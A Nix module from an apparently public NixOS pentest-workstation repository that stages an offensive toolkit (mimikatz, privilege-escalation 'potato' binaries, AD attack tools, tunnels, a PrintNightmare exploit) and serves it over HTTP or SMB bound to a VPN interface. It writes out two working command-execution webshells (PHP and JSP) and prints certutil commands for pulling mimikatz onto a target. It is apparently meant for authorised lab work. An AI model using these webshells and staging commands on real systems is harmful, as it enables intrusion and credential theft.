repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
payloads.nixNix449 lines21.1 KiBraw download
# modules/features/pentest/payloads.nix — the arsenal tree that ~/pentesting
# points at, plus one command to serve it.
#
# The tree is laid out the way paths.nix names it, so $privesc, $potatoes,
# $ligolo, $ad … each resolve to a real directory:
#
#   privesc/{windows,windows/potatoes,linux}   winPEAS, the potato family, pspy…
#   creds/{,mimikatz}                           mimikatz (every build), nanodump…
#   ad/{,SharpHound,KrbRelayEx,kerbrute}        SharpHound CE, Rubeus, Certipy…
#   sharpcollection/                            the full SharpCollection
#   pivoting/{ligolo-ng,chisel,socat}           tunnels, every OS/arch
#   recon/{nmap,fscan}                          scanners to run from a foothold
#   shells/ webshells/ scripts/ exploits/
#
#   payload-serve [port]     HTTP, bound to the VPN interface only
#   payload-serve --smb      impacket smbserver, same binding
#   payload-serve --list     print the tree
#
# Provenance: Go tools nixpkgs carries (ligolo-ng, chisel, fscan, pspy) are
# cross-compiled FROM SOURCE here for every target arch via GOOS/GOARCH — better
# than any download. Everything else is a release asset pinned by hash in
# _pkgs/assets.nix (the big table) or _pkgs/default.nix (mimikatz, SharpCollection,
# the scripts). So: Go from source, the rest pinned, nothing fetched at runtime.
{ lib, self, ... }:
let
  assets = import ./_pkgs/assets.nix;

  mkTree =
    { pkgs, windowsArches }:
    let
      p = import ./_pkgs/default.nix { inherit lib pkgs; };

      # Go cross-compile: nixpkgs has no mingw path for these, but Go does not
      # need one. CGO_ENABLED=0 makes the linux builds static, so they run on a
      # target that does not share this machine's glibc.
      goCross = pkg: goos: goarch: pkg.overrideAttrs (o: {
        env = (o.env or { }) // { GOOS = goos; GOARCH = goarch; CGO_ENABLED = "0"; };
        doCheck = false;
        doInstallCheck = false;
        nativeInstallCheckInputs = [ ];
        postInstall = ""; # upstream rename loops assume a native flat bin/
      });

      # One place to list every Go tool and the arches it ships for, so the
      # install loop below is a table too. `src` is the name Go actually emits
      # in bin/ (lig-ng builds `agent` and `proxy`; we want the agent); `bin`
      # is the name it lands under here. A cross build lands in
      # bin/<goos>_<goarch>/, a native one in bin/ — the loop searches both.
      goTargets = {
        ligolo-ng = {
          src = "agent"; bin = "ligolo-agent";
          arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
                     windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; };
        };
        chisel = {
          src = "chisel"; bin = "chisel";
          arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
                     windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; };
        };
        fscan = {
          src = "fscan"; bin = "fscan";
          arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
                     windows-amd64 = ["windows" "amd64"]; };
        };
        pspy = {
          src = "pspy"; bin = "pspy";
          arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"]; };
        };
      };

      # dest -> which pivoting/recon/privesc dir each Go tool lands in.
      goDest = {
        ligolo-ng = "pivoting/ligolo-ng";
        chisel = "pivoting/chisel";
        fscan = "recon/fscan";
        pspy = "privesc/linux";
      };

      installGo = name: spec:
        lib.concatStrings (lib.mapAttrsToList
          (slot: goa:
            let
              drv = goCross pkgs.${name} (builtins.elemAt goa 0) (builtins.elemAt goa 1);
              win = builtins.elemAt goa 0 == "windows";
              out = "$out/${goDest.${name}}/${slot}/${spec.bin}${lib.optionalString win ".exe"}";
            in ''
              mkdir -p "$(dirname ${out})"
              # Cross -> bin/<goos>_<goarch>/<src>, native -> bin/<src>; and the
              # windows build adds .exe. Match the EXACT source name so lig-ng's
              # `proxy` is never grabbed instead of `agent`, and FAIL loudly if
              # an upstream rename leaves nothing — a missing agent is a 2am find.
              f=$(find -L ${drv}/bin -type f \( -name ${spec.src} -o -name ${spec.src}.exe \) | head -1)
              [ -n "$f" ] || { echo "payloads: ${name} ${slot} produced no ${spec.src} binary" >&2; exit 1; }
              install -m0755 "$f" ${out}
            '')
          spec.arches);

      # One asset -> the shell that stages it at its dest.
      exeLike = d: lib.any (s: lib.hasSuffix s d) [ ".exe" ".ps1" ".dll" ".json" ".config" ".txt" ];
      installAsset = a:
        let
          src = pkgs.fetchurl { inherit (a) url hash; };
          dst = "$out/${a.dest}";
          kind = a.unpack or "file";
        in
        if kind == "file" then ''
          install -D -m${if exeLike a.dest then "0644" else "0755"} ${src} ${dst}
        ''
        else if kind == "zip" then ''
          mkdir -p ${dst}
          ${if a ? only
            # -j flattens the named members into dst (RunasCs.exe, a potato…).
            then "${pkgs.unzip}/bin/unzip -j -o ${src} ${lib.escapeShellArgs a.only} -d ${dst} >/dev/null"
            # No `only`: extract whole, keeping structure (SharpHound/, nmap-7.92/).
            else "${pkgs.unzip}/bin/unzip -o ${src} -d ${dst} >/dev/null"}
        ''
        else if kind == "tar" then ''
          mkdir -p ${dst}
          tar -xzf ${src} -C ${dst}
        ''
        else throw "payloads: unknown unpack kind '${kind}' for ${a.dest}";

      wantX86 = lib.elem "x86" windowsArches;
      mimiVer = lib.removePrefix "mimikatz-" pkgs.mimikatz.name;
    in
    pkgs.runCommand "pentest-payloads"
      {
        meta.description = "Staged offensive payloads for authorised lab use";
        # Everything here runs on another machine; a rewritten shebang pointing
        # into this machine's store would break it there.
        dontPatchShebangs = true;
      }
      ''
        set -euo pipefail
        mkdir -p $out

        ##### Release assets (the _pkgs/assets.nix table) ######################
        ${lib.concatMapStrings installAsset assets}

        ##### Go, cross-compiled from source ###################################
        ${lib.concatStrings (lib.mapAttrsToList installGo goTargets)}
        # ligolo/chisel/socat convenience: a top-level README of which slot is which.
        printf '%s\n' \
          'ligolo-ng/chisel/fscan/socat: one dir per target, named <os>-<arch>.' \
          'linux-amd64 is the usual HTB Linux box; windows-amd64 the usual Windows one.' \
          > $out/pivoting/README.txt

        ##### Credentials #####################################################
        # mimikatz, every build and arch, as distinct FILES (two versions
        # cannot both be mimikatz.exe — which is why payloads are files).
        mkdir -p $out/creds/mimikatz/x64 $out/creds/mimikatz/Win32
        install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/x64/mimikatz.exe \
          $out/creds/mimikatz/x64/mimikatz-${mimiVer}.exe
        ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/x64/mimikatz.exe
        install -m0644 ${p.mimikatzOld}/x64/mimikatz.exe \
          $out/creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe
        install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimikatz.exe \
          $out/creds/mimikatz/Win32/mimikatz-${mimiVer}.exe
        ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/Win32/mimikatz.exe
        install -m0644 ${p.mimikatzOld}/Win32/mimikatz.exe \
          $out/creds/mimikatz/Win32/mimikatz-2.2.0-20210810.exe
        install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimilove.exe \
          $out/creds/mimikatz/ 2>/dev/null || true

        ##### Windows privesc: winPEAS beside the potatoes/ from assets ########
        mkdir -p $out/privesc/windows
        install -m0644 ${p.peass}/windows/winPEASx64.exe $out/privesc/windows/
        install -m0644 ${p.peass}/windows/winPEASany.exe $out/privesc/windows/
        ${lib.optionalString wantX86
          "install -m0644 ${p.peass}/windows/winPEASx86.exe $out/privesc/windows/"}

        ##### AD: SharpCollection 4.7 x64 beside the CE tools from assets ######
        mkdir -p $out/ad
        cp -r ${p.sharpcollection}/NetFramework_4.7_x64/. $out/ad/
        chmod -R u+w $out/ad
        # SharpCollection's SharpHound is the LEGACY collector; the assets table
        # staged the CE one at ad/SharpHound/. Drop the legacy exe so there is
        # no ambiguous ad/SharpHound.exe next to the CE ad/SharpHound/ dir.
        rm -f $out/ad/SharpHound.exe

        # The whole SharpCollection, every framework, for when 4.7 x64 will not run.
        mkdir -p $out/sharpcollection
        cp -r ${p.sharpcollection}/. $out/sharpcollection/
        chmod -R u+w $out/sharpcollection

        ##### Linux privesc ####################################################
        mkdir -p $out/privesc/linux
        install -m0755 ${p.peass}/linux/linpeas.sh $out/privesc/linux/
        install -m0755 ${p.lse}/share/lse/lse.sh   $out/privesc/linux/

        ##### Scripts ##########################################################
        mkdir -p $out/scripts/{ad,printer,privesc}
        cp -r ${pkgs.powersploit}/share/windows/powersploit/. $out/scripts/ad/
        chmod -R u+w $out/scripts/ad
        # PowerView.ps1 and PowerUp.ps1 live in Recon/ and Privesc/; hoist the
        # two headline scripts to the top where the cheat card documents them,
        # and FAIL if an upstream rename moved them.
        for s in PowerView PowerUp; do
          f=$(find -L $out/scripts/ad -type f -name "$s.ps1" | head -1)
          [ -n "$f" ] || { echo "payloads: $s.ps1 missing from powersploit" >&2; exit 1; }
          cp "$f" $out/scripts/ad/"$s.ps1"
        done
        cp -r ${p.nishang}/share/nishang $out/scripts/ad/nishang
        chmod -R u+w $out/scripts/ad/nishang
        install -m0755 ${p.krbrelayx}/share/krbrelayx/printerbug.py $out/scripts/printer/
        install -m0644 ${p.printnightmare}/share/printnightmare/CVE-2021-1675.py $out/scripts/printer/
        install -m0755 ${p.peass}/linux/linpeas.sh $out/scripts/privesc/
        install -m0755 ${p.lse}/share/lse/lse.sh   $out/scripts/privesc/
        install -m0644 ${p.efspotatoSource}/EfsPotato.cs $out/scripts/privesc/
        install -m0644 ${p.psgetsystem}/psgetsys.ps1 $out/scripts/privesc/
        # Ghost's ADFS dump is in SharpCollection's 4.5 AnyCPU set, not every
        # framework/architecture. Stage it explicitly beside the other AD tools.
        install -m0644 ${p.sharpcollection}/NetFramework_4.5_Any/ADFSDump.exe $out/ad/

        ##### Webshells and an exploits landing dir ############################
        mkdir -p $out/webshells $out/exploits
        # A couple of always-useful single-file shells; drop your own in
        # ~/pentesting/local, which is never overwritten.
        cat > $out/webshells/cmd.php <<'PHP'
<?php if(isset($_REQUEST['c'])){system($_REQUEST['c']." 2>&1");} ?>
PHP
        cat > $out/webshells/cmd.jsp <<'JSP'
<%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("c")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("c"));BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=d.readLine())!=null){out.println(l);} } %>
JSP
        printf 'Stage public exploits here; searchsploit -m copies into the cwd.\n' > $out/exploits/README.txt

        # A map of the tree, so `payload-serve --list` is readable.
        ${pkgs.tree}/bin/tree -a --noreport $out > $out/INVENTORY.txt || true
      '';

  mkServe =
    { pkgs, tree }:
    pkgs.writeShellScriptBin "payload-serve" ''
        set -uo pipefail
        PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.iproute2 pkgs.gawk pkgs.gnugrep ]}:$PATH
        TREE=${tree}

        # Bind to the tunnel, never to everything. Serving the arsenal on a
        # café network because the VPN was down is a real way to hand your
        # toolkit to strangers, so this fails closed.
        tun_addr() {
          local i a
          for i in $(ip -br link show type tun 2>/dev/null | awk '{print $1}'); do
            a=$(ip -4 -br addr show dev "$i" 2>/dev/null | awk '{print $3}' | cut -d/ -f1)
            [ -n "''${a:-}" ] && { printf '%s' "$a"; return 0; }
          done
          return 1
        }

        usage() { echo "usage: payload-serve [port] | --smb | --list"; }

        case "''${1:-}" in
          --list) exec cat $TREE/INVENTORY.txt ;;
          -h|--help) usage; exit 0 ;;
        esac

        if ! addr=$(tun_addr); then
          echo "payload-serve: no VPN interface has an address — refusing to start." >&2
          echo "payload-serve: it would otherwise bind every interface and expose" >&2
          echo "               $TREE to the local network." >&2
          echo "payload-serve: bring the tunnel up first:  htbvpn up <profile>" >&2
          exit 2
        fi

        case "''${1:-}" in
          --smb)
            echo "payload-serve: SMB share 'share' on $addr ($TREE)"
            echo "  target: copy \\\\$addr\\share\\creds\\mimikatz\\x64\\mimikatz.exe ."
            exec ${pkgs.python3Packages.impacket}/bin/smbserver.py \
              -ip "$addr" -smb2support share "$TREE" ;;
          ""|[0-9]*)
            port="''${1:-8000}"
            if [ "$port" -lt 1024 ] && [ "$(id -u)" != 0 ]; then
              echo "payload-serve: port $port needs root (ports below 1024)." >&2
              echo "payload-serve: run 'sudo payload-serve $port', or use the default 8000." >&2
              exit 2
            fi
            echo "payload-serve: http://$addr:$port/  ($TREE)"
            echo "  target: certutil -urlcache -f http://$addr:$port/creds/mimikatz/x64/mimikatz.exe mimikatz.exe"
            exec ${pkgs.python3}/bin/python3 -m http.server "$port" --bind "$addr" --directory "$TREE" ;;
          *) usage >&2; exit 2 ;;
        esac
      '';
in
{
  flake.nixosModules.pentest-payloads =
    { config, pkgs, lib, ... }:
    let
      cfg = config.daemon.pentest;
      on = cfg.enable && cfg.payloads.enable;
      tree = mkTree { inherit pkgs; windowsArches = cfg.payloads.windowsArches; };
      payload-serve = mkServe { inherit pkgs tree; };
    in
    {
      options.daemon.pentest.payloads = {
        enable = lib.mkEnableOption "the staged payload tree and payload-serve" // {
          default = cfg.enable;
        };
        # Read by paths.nix to link the tree into ~/pentesting. Internal: it is
        # the derivation above, not something to set by hand.
        tree = lib.mkOption {
          type = lib.types.package;
          internal = true;
          readOnly = true;
          default = tree;
          description = "The built arsenal tree (paths.nix links it into ~/pentesting).";
        };
        wordlistsTree = lib.mkOption {
          type = lib.types.path;
          internal = true;
          default = "${pkgs.wordlists}/share/wordlists";
          description = "The wordlists tree linked at ~/pentesting/wordlists.";
        };
      };

      config = lib.mkIf on {
        environment.systemPackages = [ payload-serve ];
        # $PAYLOADS stays, pointing at the arsenal root under ~/pentesting
        # (paths.nix sets the per-category variables); keep it as the store
        # tree here so a shell that predates the ~/pentesting links still works.
        environment.sessionVariables.PAYLOADS = lib.mkForce "${tree}";
      };
    };

  perSystem =
    { pkgs, ... }:
    {
      checks.pentest-payloads =
        let
          tree = mkTree { inherit pkgs; windowsArches = [ "amd64" "x86" ]; };
          serve = [ (mkServe { inherit pkgs tree; }) ];
        in
        pkgs.runCommand "pentest-payloads-check"
          { nativeBuildInputs = [ pkgs.file ] ++ serve; }
          ''
            set -euo pipefail
            T=${tree}

            # 1. Structure: every path the cheat card and paths.nix promise.
            for f in \
              creds/mimikatz/x64/mimikatz.exe \
              creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe \
              creds/mimikatz/Win32/mimikatz.exe \
              creds/nanodump.x64.exe \
              creds/PPLBlade.exe \
              privesc/windows/winPEASx64.exe \
              privesc/windows/FullPowers.exe \
              privesc/windows/PrivescCheck.ps1 \
              privesc/windows/potatoes/GodPotato-NET4.exe \
              privesc/windows/potatoes/SigmaPotato.exe \
              privesc/windows/potatoes/PrintSpoofer64.exe \
              privesc/windows/potatoes/JuicyPotato.exe \
              privesc/windows/potatoes/RoguePotato.exe \
              privesc/windows/potatoes/LocalPotato.exe \
              privesc/windows/potatoes/CoercedPotato_x64.exe \
              privesc/linux/linpeas.sh \
              privesc/linux/lse.sh \
              privesc/linux/linux-amd64/pspy \
              ad/Rubeus.exe \
              ad/ADFSDump.exe \
              ad/Seatbelt.exe \
              ad/SharpHound/SharpHound.exe \
              ad/Certipy.exe \
              ad/bloodyAD.exe \
              ad/rusthound-ce.exe \
              ad/SharpSCCM.exe \
              ad/Inveigh.exe \
              ad/KrbRelayEx/KrbRelayEx.exe \
              ad/KrbRelayEx/KrbRelayEx.dll \
              ad/kerbrute/kerbrute-linux-amd64 \
              ad/kerbrute/kerbrute-windows-amd64.exe \
              pivoting/ligolo-ng/linux-amd64/ligolo-agent \
              pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe \
              pivoting/ligolo-ng/linux-arm64/ligolo-agent \
              pivoting/ligolo-ng/darwin-arm64/ligolo-agent \
              pivoting/chisel/linux-amd64/chisel \
              pivoting/chisel/windows-amd64/chisel.exe \
              pivoting/socat/socat-linux-amd64 \
              pivoting/socat/socat-linux-arm64 \
              pivoting/plink-x64.exe \
              recon/fscan/linux-amd64/fscan \
              recon/fscan/windows-amd64/fscan.exe \
              recon/nmap/linux-amd64/nmap \
              recon/nmap/windows/nmap-7.92/nmap.exe \
              shells/RunasCs.exe \
              shells/nc64.exe \
              shells/powercat.ps1 \
              recon/nmap/windows/nmap-7.92/ncat.exe \
              scripts/ad/PowerView.ps1 \
              scripts/ad/CVE-2025-24071.py \
              scripts/ad/PowerUp.ps1 \
              scripts/ad/nishang \
              scripts/printer/printerbug.py \
              scripts/printer/CVE-2021-1675.py \
              scripts/privesc/EfsPotato.cs \
              scripts/privesc/psgetsys.ps1 \
              web/ysoserial.net/Release/ysoserial.exe \
              webshells/cmd.php \
              INVENTORY.txt \
            ; do
              [ -e "$T/$f" ] || { echo "payloads: missing $f" >&2; exit 1; }
            done

            # The legacy SharpHound.exe must NOT sit beside the CE dir.
            [ ! -e "$T/ad/SharpHound.exe" ] || { echo "payloads: stale legacy ad/SharpHound.exe present" >&2; exit 1; }

            # 2. The binaries are really for the architecture they claim, and
            #    the linux ones are static (they run on someone else's box).
            for f in pivoting/chisel/linux-amd64/chisel \
                     pivoting/ligolo-ng/linux-amd64/ligolo-agent \
                     recon/fscan/linux-amd64/fscan \
                     privesc/linux/linux-amd64/pspy \
                     pivoting/socat/socat-linux-amd64; do
              got=$(file -bL "$T/$f")
              case "$got" in
                *"statically linked"*|*"static-pie linked"*) ;;
                *) echo "payloads: $f is '$got' — must be statically linked" >&2; exit 1 ;;
              esac
            done
            for f in privesc/linux/linpeas.sh privesc/linux/lse.sh \
                     scripts/printer/printerbug.py; do
              case "$(head -1 "$T/$f")" in
                */nix/store/*) echo "payloads: $f has a store shebang" >&2; exit 1 ;;
              esac
            done

            expect() { local got; got=$(file -bL "$T/$1"); case "$got" in
              *"$2"*) ;; *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;; esac; }
            expect creds/mimikatz/x64/mimikatz.exe             'PE32+'
            expect creds/mimikatz/Win32/mimikatz.exe           'PE32 '
            expect pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe 'PE32+'
            expect pivoting/ligolo-ng/linux-arm64/ligolo-agent 'ARM aarch64'
            expect recon/fscan/windows-amd64/fscan.exe         'PE32+'
            expect recon/nmap/linux-amd64/nmap                 'ELF'

            # 3. With no tun device (there is none in this sandbox) payload-serve
            #    must refuse, and say how to fix it.
            if serve_out=$(payload-serve 8000 2>&1); then
              echo "payloads: payload-serve started with no VPN up" >&2; exit 1
            fi
            printf '%s' "$serve_out" | grep -q 'refusing to start' \
              || { echo "payloads: refusal did not explain itself: $serve_out" >&2; exit 1; }
            printf '%s' "$serve_out" | grep -q 'htbvpn up' \
              || { echo "payloads: refusal did not name htbvpn: $serve_out" >&2; exit 1; }

            echo "pentest-payloads: tree, architectures and fail-closed serve all ok" > $out
          '';
    };
}